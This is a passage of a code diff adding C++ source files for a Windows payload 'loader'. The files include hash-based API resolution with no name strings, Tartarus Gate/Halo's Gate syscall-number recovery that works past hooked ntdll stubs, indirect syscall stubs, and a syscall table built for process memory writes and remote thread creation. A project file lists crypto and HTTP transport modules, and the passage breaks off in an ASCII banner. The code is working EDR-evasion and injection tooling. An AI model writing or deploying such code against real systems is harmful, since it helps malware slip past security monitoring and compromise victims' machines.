|
// Walk PE export directory; match export by djb2 hash (case-sensitive export name).
|
||||||
|
FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash);
|
||||||
|
|
||||||
|
// Parse PE headers from module base.
|
||||||
|
PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module);
|
||||||
|
|
||||||
|
// Convert wide module basename to lowercase ASCII for hashing.
|
||||||
|
bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap);
|
||||||
|
|
||||||
|
} // namespace PeParser
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
#include "api_resolver.hpp"
|
||||||
|
#include "../pe/pe_parser.hpp"
|
||||||
|
#include "../common/hashes.hpp"
|
||||||
|
|
||||||
|
namespace ApiResolver {
|
||||||
|
|
||||||
|
static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName);
|
||||||
|
|
||||||
|
HMODULE GetNtdll() {
|
||||||
|
auto* m = PeParser::GetModuleByHash(Hashes::H_NTDLL_DLL);
|
||||||
|
return m ? m : PeParser::GetModuleByIndex(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE GetKernel32() {
|
||||||
|
auto* m = PeParser::GetModuleByHash(Hashes::H_KERNEL32_DLL);
|
||||||
|
return m ? m : PeParser::GetModuleByIndex(2);
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE GetWs2_32() {
|
||||||
|
return EnsureModule(Hashes::H_WS2_32_DLL, L"ws2_32.dll");
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE GetBcrypt() {
|
||||||
|
return EnsureModule(Hashes::H_BCRYPT_DLL, L"bcrypt.dll");
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash) {
|
||||||
|
return PeParser::GetExportByHash(module, exportHash);
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC ResolveNtdll(std::uint32_t exportHash) {
|
||||||
|
return ResolveExport(GetNtdll(), exportHash);
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC ResolveWs2(std::uint32_t exportHash) {
|
||||||
|
return ResolveExport(GetWs2_32(), exportHash);
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC ResolveBcrypt(std::uint32_t exportHash) {
|
||||||
|
return ResolveExport(GetBcrypt(), exportHash);
|
||||||
|
}
|
||||||
|
|
||||||
|
static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName) {
|
||||||
|
HMODULE mod = PeParser::GetModuleByHash(moduleHash);
|
||||||
|
if (mod) {
|
||||||
|
return mod;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* k32 = GetKernel32();
|
||||||
|
if (!k32) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
using LoadLibraryW_t = HMODULE(WINAPI*)(LPCWSTR);
|
||||||
|
auto* pLoad = reinterpret_cast<LoadLibraryW_t>(
|
||||||
|
ResolveExport(k32, Hashes::H_LoadLibraryW));
|
||||||
|
if (!pLoad || !fallbackName) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
mod = pLoad(fallbackName);
|
||||||
|
return mod;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace ApiResolver
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
namespace ApiResolver {
|
||||||
|
|
||||||
|
// Thin facade over PeParser for reusable dynamic resolution.
|
||||||
|
HMODULE GetNtdll();
|
||||||
|
HMODULE GetKernel32();
|
||||||
|
HMODULE GetWs2_32();
|
||||||
|
HMODULE GetBcrypt();
|
||||||
|
|
||||||
|
FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash);
|
||||||
|
FARPROC ResolveNtdll(std::uint32_t exportHash);
|
||||||
|
FARPROC ResolveWs2(std::uint32_t exportHash);
|
||||||
|
FARPROC ResolveBcrypt(std::uint32_t exportHash);
|
||||||
|
|
||||||
|
} // namespace ApiResolver
|
||||||
@@ -0,0 +1,236 @@
|
|||||||
|
#include "tartarus_gate.hpp"
|
||||||
|
#include "../pe/pe_parser.hpp"
|
||||||
|
#include "../resolve/api_resolver.hpp"
|
||||||
|
#include "../common/hashes.hpp"
|
||||||
|
|
||||||
|
#include "../common/log.hpp"
|
||||||
|
|
||||||
|
#include <cstring>
|
||||||
|
#include <iostream>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
namespace TartarusGate {
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
std::vector<PVOID> g_stubPages;
|
||||||
|
|
||||||
|
// Tartarus Gate: resolve SSN from export stub; if hooked (jmp), walk neighbors (Halo's Gate).
|
||||||
|
std::uint32_t ExtractSSN(PBYTE stub) {
|
||||||
|
// Unhooked x64 stub: 4C 8B D1 B8 imm32
|
||||||
|
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {
|
||||||
|
return *reinterpret_cast<DWORD*>(stub + 4);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::uint32_t HaloResolve(PBYTE stub) {
|
||||||
|
for (int j = 1; j <= 500; ++j) {
|
||||||
|
auto* down = stub + (j * 0x20);
|
||||||
|
if (down[0] == 0x4C && down[1] == 0x8B && down[3] == 0xB8) {
|
||||||
|
const auto neighbor = *reinterpret_cast<DWORD*>(down + 4);
|
||||||
|
return neighbor - static_cast<std::uint32_t>(j);
|
||||||
|
}
|
||||||
|
auto* up = stub - (j * 0x20);
|
||||||
|
if (up[0] == 0x4C && up[1] == 0x8B && up[3] == 0xB8) {
|
||||||
|
const auto neighbor = *reinterpret_cast<DWORD*>(up + 4);
|
||||||
|
return neighbor + static_cast<std::uint32_t>(j);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static HMODULE NtdllBase() {
|
||||||
|
return ApiResolver::GetNtdll();
|
||||||
|
}
|
||||||
|
|
||||||
|
static FARPROC NtdllExport(std::uint32_t hash) {
|
||||||
|
return PeParser::GetExportByHash(NtdllBase(), hash);
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID AllocStubPage(const void* code, size_t size) {
|
||||||
|
// Bootstrap stub pages via direct ntdll exports (one-time); all runtime ops use indirect stubs.
|
||||||
|
auto* pAlloc = reinterpret_cast<fnNtAllocateVirtualMemory>(
|
||||||
|
NtdllExport(Hashes::H_NtAllocateVirtualMemory));
|
||||||
|
auto* pProt = reinterpret_cast<fnNtProtectVirtualMemory>(
|
||||||
|
NtdllExport(Hashes::H_NtProtectVirtualMemory));
|
||||||
|
if (!pAlloc || !pProt) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID base = nullptr;
|
||||||
|
SIZE_T region = size;
|
||||||
|
if (!NT_SUCCESS(pAlloc(GetCurrentProcess(), &base, 0, ®ion,
|
||||||
|
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || !base) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
std::memcpy(base, code, size);
|
||||||
|
ULONG old = 0;
|
||||||
|
PVOID protBase = base;
|
||||||
|
SIZE_T protSize = region;
|
||||||
|
if (!NT_SUCCESS(pProt(GetCurrentProcess(), &protBase, &protSize,
|
||||||
|
PAGE_EXECUTE_READ, &old))) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
g_stubPages.push_back(base);
|
||||||
|
return base;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // anonymous namespace
|
||||||
|
|
||||||
|
std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash) {
|
||||||
|
if (!ntdll) {
|
||||||
|
Log::Err("Unable to Resolve SSN %s");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* base = reinterpret_cast<PBYTE>(ntdll);
|
||||||
|
auto* nt = PeParser::GetNtHeaders(ntdll);
|
||||||
|
if (!nt) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
if (!dir.VirtualAddress) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(base + dir.VirtualAddress);
|
||||||
|
auto* names = reinterpret_cast<PDWORD>(base + exp->AddressOfNames);
|
||||||
|
auto* ords = reinterpret_cast<PWORD>(base + exp->AddressOfNameOrdinals);
|
||||||
|
auto* funcs = reinterpret_cast<PDWORD>(base + exp->AddressOfFunctions);
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
|
||||||
|
const char* exportName = reinterpret_cast<const char*>(base + names[i]);
|
||||||
|
if (Hashes::Djb2(exportName) != exportHash) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* stub = base + funcs[ords[i]];
|
||||||
|
|
||||||
|
// Tartarus: detect hook (jmp/call redirect).
|
||||||
|
if (stub[0] == 0xE9 || stub[0] == 0xEB || stub[0] == 0xFF) {
|
||||||
|
Log::Dbg("SSN resolve: hooked stub @ %p first=0x%02X — Halo's Gate",
|
||||||
|
stub, stub[0]);
|
||||||
|
return HaloResolve(stub);
|
||||||
|
}
|
||||||
|
|
||||||
|
auto ssn = ExtractSSN(stub);
|
||||||
|
if (ssn) {
|
||||||
|
Log::Dbg("SSN resolve: clean stub @ %p SSN=%u", stub, ssn);
|
||||||
|
return ssn;
|
||||||
|
}
|
||||||
|
Log::Dbg("SSN resolve: clean pattern miss @ %p — Halo's Gate", stub);
|
||||||
|
return HaloResolve(stub);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID FindSyscallGadget(HMODULE ntdll) {
|
||||||
|
if (!ntdll) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* base = reinterpret_cast<PBYTE>(ntdll);
|
||||||
|
auto* nt = PeParser::GetNtHeaders(ntdll);
|
||||||
|
if (!nt) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto* sec = IMAGE_FIRST_SECTION(nt);
|
||||||
|
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i) {
|
||||||
|
if (std::memcmp(sec[i].Name, ".text", 5) != 0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
PBYTE start = base + sec[i].VirtualAddress;
|
||||||
|
DWORD size = sec[i].Misc.VirtualSize;
|
||||||
|
for (DWORD off = 0; off + 2 < size; ++off) {
|
||||||
|
// syscall; ret
|
||||||
|
if (start[off] == 0x0F && start[off + 1] == 0x05 && start[off + 2] == 0xC3) {
|
||||||
|
return start + off;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget) {
|
||||||
|
if (!gadget || ssn == 0) {
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
// mov r10, rcx | mov eax, SSN | jmp [rip+0] | dq gadget
|
||||||
|
static const BYTE hdr[] = {
|
||||||
|
0x4C, 0x8B, 0xD1,
|
||||||
|
0xB8, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
BYTE buf[sizeof(hdr) + sizeof(PVOID)] = {};
|
||||||
|
std::memcpy(buf, hdr, sizeof(hdr));
|
||||||
|
*reinterpret_cast<DWORD*>(buf + 4) = ssn;
|
||||||
|
*reinterpret_cast<PVOID*>(buf + sizeof(hdr)) = gadget;
|
||||||
|
|
||||||
|
PVOID page = AllocStubPage(buf, sizeof(buf));
|
||||||
|
return page;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool BindSyscall(SyscallTable& table, std::uint32_t hash, PVOID& outStub, const char* debugTag) {
|
||||||
|
auto* ntdll = ApiResolver::GetNtdll();
|
||||||
|
const auto ssn = ResolveSSN(ntdll, hash);
|
||||||
|
if (!ssn) {
|
||||||
|
Log::Raw("TartarusGate SSN FAIL hash=0x%08X tag=%s", hash, debugTag);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
outStub = CreateIndirectStub(ssn, table.gadget);
|
||||||
|
if (!outStub) {
|
||||||
|
Log::Raw("TartarusGate STUB FAIL SSN=%u tag=%s", ssn, debugTag);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Raw("syscall %-28s SSN=%4u stub=%p gadget=%p", debugTag, ssn, outStub, table.gadget);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool Initialize(SyscallTable& table) {
|
||||||
|
auto* ntdll = ApiResolver::GetNtdll();
|
||||||
|
if (!ntdll) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
table.gadget = FindSyscallGadget(ntdll);
|
||||||
|
if (!table.gadget) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Banner("Tartarus Gate Init");
|
||||||
|
Log::Raw("ntdll=%p | indirect syscall; ret gadget=%p", ntdll, table.gadget);
|
||||||
|
|
||||||
|
PVOID stub = nullptr;
|
||||||
|
|
||||||
|
#define BIND(field, hash, tag) \
|
||||||
|
if (!BindSyscall(table, hash, stub, tag)) return false; \
|
||||||
|
table.field = reinterpret_cast<decltype(table.field)>(stub)
|
||||||
|
|
||||||
|
BIND(NtAllocateVirtualMemory, Hashes::H_NtAllocateVirtualMemory, "NtAllocateVirtualMemory");
|
||||||
|
BIND(NtProtectVirtualMemory, Hashes::H_NtProtectVirtualMemory, "NtProtectVirtualMemory");
|
||||||
|
BIND(NtWriteVirtualMemory, Hashes::H_NtWriteVirtualMemory, "NtWriteVirtualMemory");
|
||||||
|
BIND(NtFreeVirtualMemory, Hashes::H_NtFreeVirtualMemory, "NtFreeVirtualMemory");
|
||||||
|
BIND(NtCreateSection, Hashes::H_NtCreateSection, "NtCreateSection");
|
||||||
|
BIND(NtMapViewOfSection, Hashes::H_NtMapViewOfSection, "NtMapViewOfSection");
|
||||||
|
BIND(NtUnmapViewOfSection, Hashes::H_NtUnmapViewOfSection, "NtUnmapViewOfSection");
|
||||||
|
BIND(NtOpenProcess, Hashes::H_NtOpenProcess, "NtOpenProcess");
|
||||||
|
BIND(NtCreateThreadEx, Hashes::H_NtCreateThreadEx, "NtCreateThreadEx");
|
||||||
|
BIND(NtClose, Hashes::H_NtClose, "NtClose");
|
||||||
|
BIND(NtQuerySystemInformation, Hashes::H_NtQuerySystemInformation, "NtQuerySystemInformation");
|
||||||
|
|
||||||
|
#undef BIND
|
||||||
|
|
||||||
|
table.initialized = true;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CleanupStubs() {
|
||||||
|
// Stubs are small RX pages; leak on exit is acceptable for loader lifetime.
|
||||||
|
g_stubPages.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace TartarusGate
|
||||||
@@ -0,0 +1,96 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
#include "../common/nt_types.hpp"
|
||||||
|
|
||||||
|
namespace TartarusGate {
|
||||||
|
|
||||||
|
// NT syscall typedefs used by the loader.
|
||||||
|
using fnNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(
|
||||||
|
HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
|
||||||
|
PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||||
|
|
||||||
|
using fnNtProtectVirtualMemory = NTSTATUS(NTAPI*)(
|
||||||
|
HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize,
|
||||||
|
ULONG NewProtect, PULONG OldProtect);
|
||||||
|
|
||||||
|
using fnNtWriteVirtualMemory = NTSTATUS(NTAPI*)(
|
||||||
|
HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
|
||||||
|
SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
|
||||||
|
|
||||||
|
using fnNtFreeVirtualMemory = NTSTATUS(NTAPI*)(
|
||||||
|
HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
|
||||||
|
|
||||||
|
using fnNtCreateSection = NTSTATUS(NTAPI*)(
|
||||||
|
PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
|
||||||
|
PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes,
|
||||||
|
HANDLE FileHandle);
|
||||||
|
|
||||||
|
using fnNtMapViewOfSection = NTSTATUS(NTAPI*)(
|
||||||
|
HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
|
||||||
|
SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize,
|
||||||
|
ULONG InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
|
||||||
|
|
||||||
|
using fnNtUnmapViewOfSection = NTSTATUS(NTAPI*)(
|
||||||
|
HANDLE ProcessHandle, PVOID BaseAddress);
|
||||||
|
|
||||||
|
using fnNtOpenProcess = NTSTATUS(NTAPI*)(
|
||||||
|
PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
|
||||||
|
PCLIENT_ID_NT ClientId);
|
||||||
|
|
||||||
|
using fnNtCreateThreadEx = NTSTATUS(NTAPI*)(
|
||||||
|
PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
|
||||||
|
HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags,
|
||||||
|
ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize,
|
||||||
|
PVOID AttributeList);
|
||||||
|
|
||||||
|
using fnNtClose = NTSTATUS(NTAPI*)(HANDLE Handle);
|
||||||
|
|
||||||
|
using fnNtQuerySystemInformation = NTSTATUS(NTAPI*)(
|
||||||
|
ULONG SystemInformationClass, PVOID SystemInformation,
|
||||||
|
ULONG SystemInformationLength, PULONG ReturnLength);
|
||||||
|
|
||||||
|
using fnNtCreateFile = NTSTATUS(NTAPI*)(
|
||||||
|
PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
|
||||||
|
PIO_STATUS_BLOCK_NT IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes,
|
||||||
|
ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer,
|
||||||
|
ULONG EaLength);
|
||||||
|
|
||||||
|
using fnNtReadFile = NTSTATUS(NTAPI*)(
|
||||||
|
HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext,
|
||||||
|
PIO_STATUS_BLOCK_NT IoStatusBlock, PVOID Buffer, ULONG Length,
|
||||||
|
PLARGE_INTEGER ByteOffset, PULONG Key);
|
||||||
|
|
||||||
|
struct SyscallTable {
|
||||||
|
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = nullptr;
|
||||||
|
fnNtProtectVirtualMemory NtProtectVirtualMemory = nullptr;
|
||||||
|
fnNtWriteVirtualMemory NtWriteVirtualMemory = nullptr;
|
||||||
|
fnNtFreeVirtualMemory NtFreeVirtualMemory = nullptr;
|
||||||
|
fnNtCreateSection NtCreateSection = nullptr;
|
||||||
|
fnNtMapViewOfSection NtMapViewOfSection = nullptr;
|
||||||
|
fnNtUnmapViewOfSection NtUnmapViewOfSection = nullptr;
|
||||||
|
fnNtOpenProcess NtOpenProcess = nullptr;
|
||||||
|
fnNtCreateThreadEx NtCreateThreadEx = nullptr;
|
||||||
|
fnNtClose NtClose = nullptr;
|
||||||
|
fnNtQuerySystemInformation NtQuerySystemInformation = nullptr;
|
||||||
|
PVOID gadget = nullptr;
|
||||||
|
bool initialized = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Tartarus Gate + Halo's Gate SSN resolution by export hash (no API name strings).
|
||||||
|
std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash);
|
||||||
|
|
||||||
|
// Find `syscall; ret` gadget in ntdll .text for indirect syscalls.
|
||||||
|
PVOID FindSyscallGadget(HMODULE ntdll);
|
||||||
|
|
||||||
|
// Build indirect syscall stub: mov r10,rcx / mov eax,SSN / jmp [gadget].
|
||||||
|
PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget);
|
||||||
|
|
||||||
|
// Initialize full syscall table with indirect stubs.
|
||||||
|
bool Initialize(SyscallTable& table);
|
||||||
|
|
||||||
|
void CleanupStubs();
|
||||||
|
|
||||||
|
} // namespace TartarusGate
|
||||||
+19
@@ -0,0 +1,19 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 18
|
||||||
|
VisualStudioVersion = 18.0.0.0
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "loader.vcxproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>18.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}</ProjectGuid>
|
||||||
|
<RootNamespace>loader_v2</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v145</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v145</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<!-- /MTd: static debug CRT — no VCRUNTIME*D.dll needed on target -->
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||||
|
<AdditionalIncludeDirectories>$(ProjectDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<!-- /MT: static CRT — drop-and-run without vcruntime140.dll / msvcp140.dll -->
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||||
|
<AdditionalIncludeDirectories>$(ProjectDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="lib\common\log.cpp" />
|
||||||
|
<ClCompile Include="lib\pe\pe_parser.cpp" />
|
||||||
|
<ClCompile Include="lib\resolve\api_resolver.cpp" />
|
||||||
|
<ClCompile Include="lib\syscall\tartarus_gate.cpp" />
|
||||||
|
<ClCompile Include="lib\memory\section_map.cpp" />
|
||||||
|
<ClCompile Include="lib\crypto\aes_crypto.cpp" />
|
||||||
|
<ClCompile Include="lib\net\http_transport.cpp" />
|
||||||
|
<ClCompile Include="loader\cli.cpp" />
|
||||||
|
<ClCompile Include="loader\ingestion.cpp" />
|
||||||
|
<ClCompile Include="loader\loader_core.cpp" />
|
||||||
|
<ClCompile Include="loader\main.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="lib\common\hashes.hpp" />
|
||||||
|
<ClInclude Include="lib\common\log.hpp" />
|
||||||
|
<ClInclude Include="lib\common\nt_types.hpp" />
|
||||||
|
<ClInclude Include="lib\pe\pe_parser.hpp" />
|
||||||
|
<ClInclude Include="lib\resolve\api_resolver.hpp" />
|
||||||
|
<ClInclude Include="lib\syscall\tartarus_gate.hpp" />
|
||||||
|
<ClInclude Include="lib\memory\section_map.hpp" />
|
||||||
|
<ClInclude Include="lib\crypto\aes_crypto.hpp" />
|
||||||
|
<ClInclude Include="lib\net\http_transport.hpp" />
|
||||||
|
<ClInclude Include="loader\cli.hpp" />
|
||||||
|
<ClInclude Include="loader\ingestion.hpp" />
|
||||||
|
<ClInclude Include="loader\loader_core.hpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
</Project>
|
||||||
+178
@@ -0,0 +1,178 @@
|
|||||||
|
#include "cli.hpp"
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <cstring>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
namespace Cli {
|
||||||
|
|
||||||
|
bool IsVerboseFlag(const char* arg) {
|
||||||
|
return arg && std::strcmp(arg, "--verbose") == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void PrintBanner(){
|
||||||
|
std::cout << R"raw(
|
||||||
|
██████╗ ██╗ ██╗███╗ ██╗██╗ ██████╗ █████╗ ██████╗ ███████╗██████╗
|
||||||
|
██╔══██╗╚██╗ ██╔╝████╗ ██║██║ ██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗
|
||||||
|
██║ ██║ ╚████╔╝ ██╔██╗ ██║██║ ██║ ██║███████║██║ ██║█████╗ ██████╔╝
|
||||||
|
██║ ██║ ╚██╔╝ ██║╚██╗██║██║ ██║ ██║██╔══██║██║ ██║██╔══╝ ██╔══██╗
|
||||||
|
